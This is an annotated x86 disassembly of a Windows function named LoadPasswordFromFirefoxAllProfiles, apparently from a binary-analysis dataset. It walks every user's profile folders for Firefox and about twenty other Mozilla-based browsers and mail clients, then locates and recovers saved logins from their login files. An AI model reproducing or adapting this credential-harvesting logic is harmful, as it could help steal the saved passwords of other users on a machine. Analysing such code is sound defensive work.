Function at 0x416097
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1550
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x207
lea eax, [ebp - 0x227]
mov byte [ebp - 0x228], 0
push 0
push eax
call fcn.00626f50
mov esi, 0x67b320
lea edi, [ebp - 0x10]
mov ebx, str.LoadPasswordFromFirefoxAllProfiles
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.signons.sqlite
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 8]
push esi
push ebx
push str._s_Entered___store_type__d
call fcn.00449974
add esp, 0x18
call fcn.00449844
mov dword [ebp - 0x154c], eax
cmp esi, 8
jne 0x416115
mov ecx, str.MozillaSeaMonkeyProfiles
jmp 0x416236
cmp esi, 0x17
jne 0x416124
mov ecx, str.WaterfoxProfiles
jmp 0x416236
cmp esi, 0x1b
jne 0x416133
mov ecx, str.ComodoIceDragonProfiles
jmp 0x416236
cmp esi, 0x20
jne 0x416142
mov ecx, str.Moonchild_ProductionsPale_MoonProfiles
jmp 0x416236
cmp esi, 0x28
jne 0x416151
mov ecx, str.NETGATE_TechnologiesBlackHawkProfiles
jmp 0x416236
cmp esi, 0x29
jne 0x416160
mov ecx, str.8pecxstudiosCyberfoxProfiles
jmp 0x416236
cmp esi, 0x2a
jne 0x41616f
mov ecx, str.K_Meleon
jmp 0x416236
cmp esi, 0x2b
jne 0x41617e
mov ecx, str.MozillaicecatProfiles
jmp 0x416236
cmp esi, 0x3c
jne 0x41618d
mov ecx, str.FlashPeakSlimBrowserProfiles
jmp 0x416236
cmp esi, 0x44
jne 0x41619c
mov ecx, str.Moonchild_ProductionsBasiliskProfiles
jmp 0x416236
cmp esi, 0x4a
jne 0x4161ab
mov ecx, str.CLIQZProfiles
jmp 0x416236
cmp esi, 0x4c
jne 0x4161b7
mov ecx, str.BitTubeBitTubeBrowserProfiles
jmp 0x416236
cmp esi, 0x5c
jne 0x4161c3
mov ecx, str.FloorpProfiles
jmp 0x416236
cmp esi, 0x5e
jne 0x4161cf
mov ecx, str.ArtistScopeArtisBrowserProfiles
jmp 0x416236
cmp esi, 0x5f
jne 0x4161db
mov ecx, str.LibrewolfProfiles
jmp 0x416236
cmp esi, 0xfd
jne 0x4161ea
mov ecx, str.ThunderbirdProfiles
jmp 0x416236
cmp esi, 0x104
jne 0x4161f9
mov ecx, str.PostboxAppProfiles
jmp 0x416236
cmp esi, 0x10b
jne 0x416208
mov ecx, str.FossaMailProfiles
jmp 0x416236
cmp esi, 0x74
jne 0x416214
mov ecx, str.InstantbirdProfiles
jmp 0x416236
cmp esi, 0x10e
jne 0x416223
mov ecx, str.Athenian200EpyrusProfiles
jmp 0x416236
cmp esi, 0x10f
mov ecx, str.Binary_OutcastInterlinkProfiles
mov eax, str.MozillaFirefoxProfiles
cmovne ecx, eax
push ecx
lea eax, [ebp - 0x710]
push 0x100
push eax
call fcn.006311ec
add esp, 0xc
lea eax, [ebp - 0xaf8]
push eax
xor eax, eax
push eax
push eax
push 0x28
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41627d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str._s_Failed_to_find_current_user_profile_folder__Error0x_.8x
call fcn.00449974
add esp, 0xc
jmp 0x416619
lea eax, [ebp - 0xaf8]
push 0x5c
push eax
call fcn.006271e0
pop ecx
pop ecx
test eax, eax
jne 0x4162a0
lea eax, [ebp - 0xaf8]
push eax
push ebx
push str._s_Invalid_user_profile_folder_found___s_
jmp 0x416270
mov byte [eax], 0
lea eax, [ebp - 0xaf8]
push eax
push ebx
push str._s_Final_users_path_is__s
call fcn.00449974
lea eax, [ebp - 0xaf8]
push eax
push 0x6716cc
lea eax, [ebp - 0xee0]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0xee0]
push eax
push str._n_Listing_all_the_Users_folders__s....
call fcn.00449974
add esp, 0x24
lea eax, [ebp - 0x1408]
push eax
lea eax, [ebp - 0xee0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x416619
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
test byte [ebp - 0x1408], 0x10
je 0x416600
cmp byte [ebp - 0x13dc], 0x2e
je 0x416600
lea eax, [ebp - 0x13dc]
push str.UpdatusUser
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x4165e7
lea eax, [ebp - 0x13dc]
push str.All_Users
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x4165e7
lea eax, [ebp - 0x13dc]
push str.Public
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x4165e7
lea eax, [ebp - 0x13dc]
push str.Default
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x4165e7
lea eax, [ebp - 0x13dc]
push str.Default_User
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x4165e7
lea eax, [ebp - 0x13dc]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Found_the_user_folder___s
call fcn.00449974
cmp dword [ebp - 0x154c], 0
lea eax, [ebp - 0x710]
push eax
lea eax, [ebp - 0x13dc]
mov ecx, str._s_sAppDataRoaming_s
push eax
lea eax, [ebp - 0xaf8]
push eax
mov eax, str._s_sApplication_Data_s
cmovne eax, ecx
push eax
lea eax, [ebp - 0x228]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x228]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s_Final_Mozilla_based_Browser_Profiles_path_is__s
call fcn.00449974
lea eax, [ebp - 0x228]
push eax
push 0x6716cc
lea eax, [ebp - 0x12c8]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x40
lea eax, [ebp - 0x1548]
push eax
lea eax, [ebp - 0x12c8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1550], eax
cmp eax, 0xffffffff
je 0x416600
mov ebx, eax
test byte [ebp - 0x1548], 0x10
je 0x4165c6
cmp byte [ebp - 0x151c], 0x2e
je 0x4165c6
lea eax, [ebp - 0x151c]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Found_the_Profile_Directory___s
call fcn.00449974
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x151c]
push eax
lea eax, [ebp - 0x228]
push eax
push 0x66d710
lea eax, [ebp - 0x610]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x610]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Checking_for_json_Login_file_at___s
call fcn.00449974
lea eax, [ebp - 0x610]
push eax
call fcn.00449791
add esp, 0x34
test eax, eax
je 0x416527
lea eax, [ebp - 0x151c]
push eax
lea eax, [ebp - 0x228]
push eax
push 0x66c218
lea eax, [ebp - 0x610]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x610]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Now_recovering_password_from_json_Profile_path_at___s
call fcn.00449974
push 2
push 0
lea eax, [ebp - 0x610]
push eax
push esi
call fcn.00415c2e
add esp, 0x30
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x151c]
push eax
lea eax, [ebp - 0x228]
push eax
push 0x66d710
lea eax, [ebp - 0x610]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x610]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Checking_for_sqlite_Login_file_at___s
call fcn.00449974
lea eax, [ebp - 0x610]
push eax
call fcn.00449791
add esp, 0x28
test eax, eax
je 0x4165c6
lea eax, [ebp - 0x151c]
push eax
lea eax, [ebp - 0x228]
push eax
push 0x66c218
lea eax, [ebp - 0x610]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x610]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s___Now_recovering_password_from_sqlite_Profile_path_at___s
call fcn.00449974
push 3
push 0
lea eax, [ebp - 0x610]
push eax
push esi
call fcn.00415c2e
add esp, 0x30
lea eax, [ebp - 0x1548]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x416458
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
call ebx
jmp 0x416600
lea eax, [ebp - 0x13dc]
push eax
push str.LoadPasswordFromFirefoxAllProfiles
push str._s____Ignoring_user_folder___s
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x1408]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41630b
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret